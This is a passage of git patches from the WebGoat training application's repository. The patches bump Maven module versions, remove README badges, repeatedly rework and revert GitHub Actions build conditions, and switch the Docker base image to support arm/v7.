end of file diff --git a/webgoat-lessons/client-side-filtering/pom.xml b/webgoat-lessons/client-side-filtering/pom.xml index e92517422..78bb41d25 100644 --- a/webgoat-lessons/client-side-filtering/pom.xml +++ b/webgoat-lessons/client-side-filtering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/cross-site-scripting/pom.xml b/webgoat-lessons/cross-site-scripting/pom.xml index 5bb02a9f2..9bb6163e1 100644 --- a/webgoat-lessons/cross-site-scripting/pom.xml +++ b/webgoat-lessons/cross-site-scripting/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/crypto/pom.xml b/webgoat-lessons/crypto/pom.xml index 0b5b99d70..87c6cd064 100644 --- a/webgoat-lessons/crypto/pom.xml +++ b/webgoat-lessons/crypto/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/csrf/pom.xml b/webgoat-lessons/csrf/pom.xml index 940662434..cf0cd930d 100644 --- a/webgoat-lessons/csrf/pom.xml +++ b/webgoat-lessons/csrf/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/html-tampering/pom.xml b/webgoat-lessons/html-tampering/pom.xml index 702e6665a..ab3516c57 100755 --- a/webgoat-lessons/html-tampering/pom.xml +++ b/webgoat-lessons/html-tampering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/http-basics/pom.xml b/webgoat-lessons/http-basics/pom.xml index 8af8630ab..4448eebfd 100644 --- a/webgoat-lessons/http-basics/pom.xml +++ b/webgoat-lessons/http-basics/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/http-proxies/pom.xml b/webgoat-lessons/http-proxies/pom.xml index bfefc4372..6e66fab3e 100644 --- a/webgoat-lessons/http-proxies/pom.xml +++ b/webgoat-lessons/http-proxies/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/idor/pom.xml b/webgoat-lessons/idor/pom.xml index 3e9feb2fe..108e3ceae 100644 --- a/webgoat-lessons/idor/pom.xml +++ b/webgoat-lessons/idor/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/pom.xml b/webgoat-lessons/insecure-deserialization/pom.xml index 598f857f5..85a2499b1 100755 --- a/webgoat-lessons/insecure-deserialization/pom.xml +++ b/webgoat-lessons/insecure-deserialization/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/insecure-login/pom.xml b/webgoat-lessons/insecure-login/pom.xml index 4104c69ac..1c382d4c0 100755 --- a/webgoat-lessons/insecure-login/pom.xml +++ b/webgoat-lessons/insecure-login/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/jwt/pom.xml b/webgoat-lessons/jwt/pom.xml index 005f80c74..535484960 100644 --- a/webgoat-lessons/jwt/pom.xml +++ b/webgoat-lessons/jwt/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/missing-function-ac/pom.xml b/webgoat-lessons/missing-function-ac/pom.xml index 2d6a3129e..824944762 100644 --- a/webgoat-lessons/missing-function-ac/pom.xml +++ b/webgoat-lessons/missing-function-ac/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/password-reset/pom.xml b/webgoat-lessons/password-reset/pom.xml index 29191c201..fd0b2cec9 100644 --- a/webgoat-lessons/password-reset/pom.xml +++ b/webgoat-lessons/password-reset/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/path-traversal/pom.xml b/webgoat-lessons/path-traversal/pom.xml index d84453dca..14319ecd5 100644 --- a/webgoat-lessons/path-traversal/pom.xml +++ b/webgoat-lessons/path-traversal/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 52cf5b8f0..cdcad2a46 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -5,12 +5,12 @@ org.owasp.webgoat.lesson webgoat-lessons-parent pom - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT org.owasp.webgoat webgoat-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/secure-passwords/pom.xml b/webgoat-lessons/secure-passwords/pom.xml index 000066d75..c280e0255 100644 --- a/webgoat-lessons/secure-passwords/pom.xml +++ b/webgoat-lessons/secure-passwords/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/spoof-cookie/pom.xml b/webgoat-lessons/spoof-cookie/pom.xml index a1542e2ed..a456b8597 100644 --- a/webgoat-lessons/spoof-cookie/pom.xml +++ b/webgoat-lessons/spoof-cookie/pom.xml @@ -7,7 +7,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/sql-injection/pom.xml b/webgoat-lessons/sql-injection/pom.xml index 0ac51bb8b..5683ccc66 100644 --- a/webgoat-lessons/sql-injection/pom.xml +++ b/webgoat-lessons/sql-injection/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/ssrf/pom.xml b/webgoat-lessons/ssrf/pom.xml index 25ae98759..094797f69 100755 --- a/webgoat-lessons/ssrf/pom.xml +++ b/webgoat-lessons/ssrf/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/vulnerable-components/pom.xml b/webgoat-lessons/vulnerable-components/pom.xml index 7bc052d21..dfc9104c6 100644 --- a/webgoat-lessons/vulnerable-components/pom.xml +++ b/webgoat-lessons/vulnerable-components/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/webgoat-introduction/pom.xml b/webgoat-lessons/webgoat-introduction/pom.xml index 164776c01..956a8e686 100644 --- a/webgoat-lessons/webgoat-introduction/pom.xml +++ b/webgoat-lessons/webgoat-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/webgoat-lesson-template/pom.xml b/webgoat-lessons/webgoat-lesson-template/pom.xml index 98282bd37..585329154 100644 --- a/webgoat-lessons/webgoat-lesson-template/pom.xml +++ b/webgoat-lessons/webgoat-lesson-template/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-lessons/webwolf-introduction/pom.xml b/webgoat-lessons/webwolf-introduction/pom.xml index 7a4d58616..24e781eff 100644 --- a/webgoat-lessons/webwolf-introduction/pom.xml +++ b/webgoat-lessons/webwolf-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/xxe/pom.xml b/webgoat-lessons/xxe/pom.xml index 856f225c4..6c2528bed 100644 --- a/webgoat-lessons/xxe/pom.xml +++ b/webgoat-lessons/xxe/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 76026ec18..1feceb309 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT diff --git a/webwolf/pom.xml b/webwolf/pom.xml index 71ca07a4f..5daf7dffd 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.2.1-SNAPSHOT + 8.2.3-SNAPSHOT From eb163c8df1a99587f153619432a4ea9a34fcfb46 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 3 Oct 2021 11:40:35 +0200 Subject: [PATCH 055/227] Remove unused badges --- README.MD | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.MD b/README.MD index 8086bb37d..eb4765853 100644 --- a/README.MD +++ b/README.MD @@ -1,8 +1,6 @@ # WebGoat 8: A deliberately insecure Web Application [![Pull request build](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml) -[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master) -[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat) [![java-jdk](https://img.shields.io/badge/java%20jdk-16-green.svg)](https://jdk.java.net/) [![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) From 01d3453c4127b10b2d8fe21f4de5d04ee143046d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 23 Oct 2021 21:12:28 +0200 Subject: [PATCH 056/227] Simplify Github actions Consolidate build steps to 1 script this way we don't run multiple builds for pushing a branch and create a PR. --- .github/workflows/branch_build.yml | 52 ------------------- .github/workflows/{pr_build.yml => build.yml} | 14 ++--- .github/workflows/release.yml | 2 +- 3 files changed, 9 insertions(+), 59 deletions(-) delete mode 100644 .github/workflows/branch_build.yml rename .github/workflows/{pr_build.yml => build.yml} (79%) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml deleted file mode 100644 index eac995619..000000000 --- a/.github/workflows/branch_build.yml +++ /dev/null @@ -1,52 +0,0 @@ -name: "Branch build" -on: - push: - branches-ignore: - - master - - develop - - release/* -jobs: - install-notest: - runs-on: ubuntu-latest - name: "Package and linting" - steps: - - uses: actions/checkout@v2 - - name: set up JDK 16 - uses: actions/setup-java@v2 - with: - distribution: 'zulu' - java-version: 16 - architecture: x64 - - name: Cache Maven packages - uses: actions/cache@v2.1.5 - with: - path: ~/.m2 - key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ubuntu-latest-m2 - - name: Test with Maven - run: mvn install -DskipTests - - testing: - needs: install-notest - runs-on: ubuntu-latest - strategy: - matrix: - args: - - mvn -pl '!webgoat-integration-tests' test - - mvn -pl webgoat-integration-tests test - steps: - - uses: actions/checkout@v2 - - name: set up JDK 16 - uses: actions/setup-java@v2 - with: - distribution: 'zulu' - java-version: 16 - architecture: x64 - - name: Cache Maven packages - uses: actions/cache@v2.1.5 - with: - path: ~/.m2 - key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ubuntu-latest-m2 - - name: Test with Maven - run: ${{ matrix.args }} diff --git a/.github/workflows/pr_build.yml b/.github/workflows/build.yml similarity index 79% rename from .github/workflows/pr_build.yml rename to .github/workflows/build.yml index e1b51e9e1..39a7ded3f 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/build.yml @@ -1,4 +1,4 @@ -name: "Pull request build" +name: "Build" on: pull_request: paths-ignore: @@ -8,10 +8,6 @@ on: - 'LICENSE' - 'docs/**' push: - branches: - - master - - develop - - release/* tags-ignore: - '*' paths-ignore: @@ -23,6 +19,12 @@ on: jobs: build: + if: | + ${{ + github.event_name == 'pull_request' || + (github.event_name == 'push' && + github.event.pull_request.head.repo.full_name != github.repository) + }} runs-on: ${{ matrix.os }} strategy: matrix: @@ -43,4 +45,4 @@ jobs: key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} restore-keys: ${{ runner.os }}-m2 - name: Build with Maven - run: mvn clean install + run: mvn package diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e48bc8500..57d612527 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -39,7 +39,7 @@ jobs: - name: Build with Maven run: | mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }} - mvn clean install -DskipTests + mvn install -DskipTests - name: "Create release" uses: softprops/action-gh-release@v1 From c3f9772a278982c31fd0bfe745efdae39136c09b Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 09:39:37 +0200 Subject: [PATCH 057/227] Simplify Github actions --- .github/workflows/build.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 39a7ded3f..94b23e680 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -23,7 +23,7 @@ jobs: ${{ github.event_name == 'pull_request' || (github.event_name == 'push' && - github.event.pull_request.head.repo.full_name != github.repository) + github.event.pull_request.head.repo.full_name != 'WebGoat/WebGoat') }} runs-on: ${{ matrix.os }} strategy: From 98bcef9a5eb1909a94e4d3a8e270d4a0632899a4 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 09:44:57 +0200 Subject: [PATCH 058/227] Simplify Github actions --- .github/workflows/build.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 94b23e680..af63b4677 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -22,8 +22,8 @@ jobs: if: | ${{ github.event_name == 'pull_request' || - (github.event_name == 'push' && - github.event.pull_request.head.repo.full_name != 'WebGoat/WebGoat') + (github.event_name == 'push' && github.event.pull_request.head.repo.full_name != 'WebGoat/WebGoat') || + (github.event.name == 'push' && github.event.repository != 'WebGoat/WebGoat') }} runs-on: ${{ matrix.os }} strategy: From 7742444a999cec05810d78c5c0e0864446a010f8 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 09:58:28 +0200 Subject: [PATCH 059/227] Simplify Github actions --- .github/workflows/build.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index af63b4677..387a78c98 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -23,7 +23,7 @@ jobs: ${{ github.event_name == 'pull_request' || (github.event_name == 'push' && github.event.pull_request.head.repo.full_name != 'WebGoat/WebGoat') || - (github.event.name == 'push' && github.event.repository != 'WebGoat/WebGoat') + (github.event.name == 'push' && github.event.repository == 'WebGoat/WebGoat') }} runs-on: ${{ matrix.os }} strategy: From 2f007babec5dec940e8c9dfb33deb442d062cf9d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 09:59:35 +0200 Subject: [PATCH 060/227] Simplify Github actions --- .github/workflows/build.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 387a78c98..3e798ddb6 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -22,7 +22,6 @@ jobs: if: | ${{ github.event_name == 'pull_request' || - (github.event_name == 'push' && github.event.pull_request.head.repo.full_name != 'WebGoat/WebGoat') || (github.event.name == 'push' && github.event.repository == 'WebGoat/WebGoat') }} runs-on: ${{ matrix.os }} From 86d3868d9e56e3db2f4852dc2077ecac54508df3 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 10:00:30 +0200 Subject: [PATCH 061/227] Simplify Github actions --- .github/workflows/build.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 3e798ddb6..ac78d41a8 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -21,8 +21,8 @@ jobs: build: if: | ${{ - github.event_name == 'pull_request' || - (github.event.name == 'push' && github.event.repository == 'WebGoat/WebGoat') + (github.event.name == 'push' && github.event.repository == 'WebGoat/WebGoat') || + github.event_name == 'pull_request' }} runs-on: ${{ matrix.os }} strategy: From 8241d98a38d5e278439c0dd1f48e477e10c10da6 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 10:01:53 +0200 Subject: [PATCH 062/227] Simplify Github actions --- .github/workflows/build.yml | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index ac78d41a8..53733d89b 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -19,11 +19,7 @@ on: jobs: build: - if: | - ${{ - (github.event.name == 'push' && github.event.repository == 'WebGoat/WebGoat') || - github.event_name == 'pull_request' - }} + if: (github.event.name == 'push' && github.event.repository == 'WebGoat/WebGoat') runs-on: ${{ matrix.os }} strategy: matrix: From 672d752e0e7cba680558661cada02a530f7c8b6b Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 10:02:36 +0200 Subject: [PATCH 063/227] Simplify Github actions --- .github/workflows/build.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 53733d89b..38e6707d3 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -19,7 +19,6 @@ on: jobs: build: - if: (github.event.name == 'push' && github.event.repository == 'WebGoat/WebGoat') runs-on: ${{ matrix.os }} strategy: matrix: From cb6c8af3bb014411f10509f6fdce3e8471d1172c Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 10:03:47 +0200 Subject: [PATCH 064/227] Simplify Github actions --- docker/start.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/start.sh b/docker/start.sh index c167d419b..c1fdf8c6b 100644 --- a/docker/start.sh +++ b/docker/start.sh @@ -3,7 +3,7 @@ cd /home/webgoat service nginx start sleep 1 -echo "Starting WebGoat..." +echo "Starting WebGoat...." java \ -Duser.home=/home/webgoat \ From cb8739ac068dab6f693e489d96b8cc3b0c54f8b1 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 10:16:52 +0200 Subject: [PATCH 065/227] Simplify Github actions --- .github/workflows/build.yml | 7 ------- 1 file changed, 7 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 38e6707d3..d247e9c04 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -1,12 +1,5 @@ name: "Build" on: - pull_request: - paths-ignore: - - '.txt' - - '*.MD' - - '*.md' - - 'LICENSE' - - 'docs/**' push: tags-ignore: - '*' From b0174a6b263e58b6559bb50653de9e3214d12f8f Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 10:20:27 +0200 Subject: [PATCH 066/227] Revert all GH actions work --- .github/workflows/branch_build.yml | 52 +++++++++++++++++++ .github/workflows/{build.yml => pr_build.yml} | 6 ++- 2 files changed, 57 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/branch_build.yml rename .github/workflows/{build.yml => pr_build.yml} (89%) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml new file mode 100644 index 000000000..eac995619 --- /dev/null +++ b/.github/workflows/branch_build.yml @@ -0,0 +1,52 @@ +name: "Branch build" +on: + push: + branches-ignore: + - master + - develop + - release/* +jobs: + install-notest: + runs-on: ubuntu-latest + name: "Package and linting" + steps: + - uses: actions/checkout@v2 + - name: set up JDK 16 + uses: actions/setup-java@v2 + with: + distribution: 'zulu' + java-version: 16 + architecture: x64 + - name: Cache Maven packages + uses: actions/cache@v2.1.5 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2 + - name: Test with Maven + run: mvn install -DskipTests + + testing: + needs: install-notest + runs-on: ubuntu-latest + strategy: + matrix: + args: + - mvn -pl '!webgoat-integration-tests' test + - mvn -pl webgoat-integration-tests test + steps: + - uses: actions/checkout@v2 + - name: set up JDK 16 + uses: actions/setup-java@v2 + with: + distribution: 'zulu' + java-version: 16 + architecture: x64 + - name: Cache Maven packages + uses: actions/cache@v2.1.5 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2 + - name: Test with Maven + run: ${{ matrix.args }} diff --git a/.github/workflows/build.yml b/.github/workflows/pr_build.yml similarity index 89% rename from .github/workflows/build.yml rename to .github/workflows/pr_build.yml index d247e9c04..beb51be31 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/pr_build.yml @@ -1,6 +1,10 @@ -name: "Build" +name: "Pull request build" on: push: + branches: + - master + - develop + - release/* tags-ignore: - '*' paths-ignore: From e5ab24a1fcc941dd629a9b76010d8f641a4855f7 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 10:22:30 +0200 Subject: [PATCH 067/227] Revert all GH actions work --- .github/workflows/pr_build.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index beb51be31..358cf76b7 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -1,5 +1,12 @@ name: "Pull request build" on: + pull_request: + paths-ignore: + - '.txt' + - '*.MD' + - '*.md' + - 'LICENSE' + - 'docs/**' push: branches: - master From be2a6aa0bd65fe974eb0f61baf3329e2e786d57d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 11:25:15 +0200 Subject: [PATCH 068/227] Run only on branches --- .github/workflows/pr_build.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index 358cf76b7..fb1d6c037 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -23,6 +23,8 @@ on: jobs: build: + # Run on PR from different remote not on PR from within WebGoat (committers) + if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository runs-on: ${{ matrix.os }} strategy: matrix: From 541c424eb9f63baa585e4ee93b58aa5c0e8bce48 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 11:36:35 +0200 Subject: [PATCH 069/227] Ignore branch builds on our repository --- .github/workflows/branch_build.yml | 1 + .github/workflows/pr_build.yml | 2 -- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index eac995619..1b7328a6d 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -6,6 +6,7 @@ on: - develop - release/* jobs: + if: ${{ github.push.repository != github.repository }} install-notest: runs-on: ubuntu-latest name: "Package and linting" diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index fb1d6c037..358cf76b7 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -23,8 +23,6 @@ on: jobs: build: - # Run on PR from different remote not on PR from within WebGoat (committers) - if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository runs-on: ${{ matrix.os }} strategy: matrix: From 720414eba6373999cc0d6302181ba1e7925bcc25 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 11:40:13 +0200 Subject: [PATCH 070/227] Ignore branch builds on our repository --- .github/workflows/branch_build.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index 1b7328a6d..66be8f72b 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -6,7 +6,7 @@ on: - develop - release/* jobs: - if: ${{ github.push.repository != github.repository }} + if: github.push.repository != github.repository install-notest: runs-on: ubuntu-latest name: "Package and linting" From a4104fdf8bce0c6497f1ea7625451cb07989e678 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 11:43:03 +0200 Subject: [PATCH 071/227] Ignore branch builds on our repository --- .github/workflows/branch_build.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index 66be8f72b..d34fa952c 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -6,8 +6,8 @@ on: - develop - release/* jobs: - if: github.push.repository != github.repository install-notest: + if: ${{ github.push.repository != github.repository }} runs-on: ubuntu-latest name: "Package and linting" steps: @@ -28,6 +28,7 @@ jobs: run: mvn install -DskipTests testing: + if: ${{ github.push.repository != github.repository }} needs: install-notest runs-on: ubuntu-latest strategy: From cc0d0fa2a6f9f4843d766ddd26fb4e9e22484e44 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 11:51:47 +0200 Subject: [PATCH 072/227] Ignore branch builds on main repository --- .github/workflows/branch_build.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index d34fa952c..efd8a34de 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -7,7 +7,7 @@ on: - release/* jobs: install-notest: - if: ${{ github.push.repository != github.repository }} + if: "github.repository != 'WebGoat/WebGoat'" runs-on: ubuntu-latest name: "Package and linting" steps: @@ -28,7 +28,7 @@ jobs: run: mvn install -DskipTests testing: - if: ${{ github.push.repository != github.repository }} + if: "github.repository != 'WebGoat/WebGoat'" needs: install-notest runs-on: ubuntu-latest strategy: From 981fcb3ebc9f664621f5e71d8a06684f505007ce Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 23 Oct 2021 20:57:16 +0200 Subject: [PATCH 073/227] Move to different base image for Java This way we can also support arm/v7 --- .github/workflows/release.yml | 2 +- docker/Dockerfile | 11 +++----- docker/start.sh | 6 ++-- .../java/org/owasp/webgoat/StartWebGoat.java | 28 +++++++++---------- .../main/java/org/owasp/webwolf/WebWolf.java | 25 +++++++++-------- 5 files changed, 35 insertions(+), 37 deletions(-) mode change 100644 => 100755 docker/start.sh diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 57d612527..e725c8fa3 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -94,7 +94,7 @@ jobs: context: ./docker file: docker/Dockerfile push: true - platforms: linux/amd64, linux/arm64 + platforms: linux/amd64, linux/arm64, linux/arm/v7 tags: | webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }} webgoat/goatandwolf:latest diff --git a/docker/Dockerfile b/docker/Dockerfile index 1437def53..fda1ab0aa 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,7 +1,4 @@ -FROM openjdk:16-slim - -ARG webgoat_version=8.2.1-SNAPSHOT -ENV webgoat_version_env=${webgoat_version} +FROM eclipse-temurin:16.0.2_7-jdk-focal RUN apt-get update RUN useradd -ms /bin/bash webgoat @@ -11,12 +8,12 @@ USER webgoat COPY --chown=webgoat nginx.conf /etc/nginx/nginx.conf COPY --chown=webgoat index.html /usr/share/nginx/html/ -COPY --chown=webgoat target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar -COPY --chown=webgoat target/webwolf-${webgoat_version}.jar /home/webgoat/webwolf.jar +COPY --chown=webgoat target/webgoat-server-*.jar /home/webgoat/webgoat.jar +COPY --chown=webgoat target/webwolf-*.jar /home/webgoat/webwolf.jar COPY --chown=webgoat start.sh /home/webgoat EXPOSE 8080 EXPOSE 9090 WORKDIR /home/webgoat -ENTRYPOINT /bin/bash /home/webgoat/start.sh $webgoat_version_env +ENTRYPOINT /bin/bash start.sh diff --git a/docker/start.sh b/docker/start.sh old mode 100644 new mode 100755 index c1fdf8c6b..3a37439a6 --- a/docker/start.sh +++ b/docker/start.sh @@ 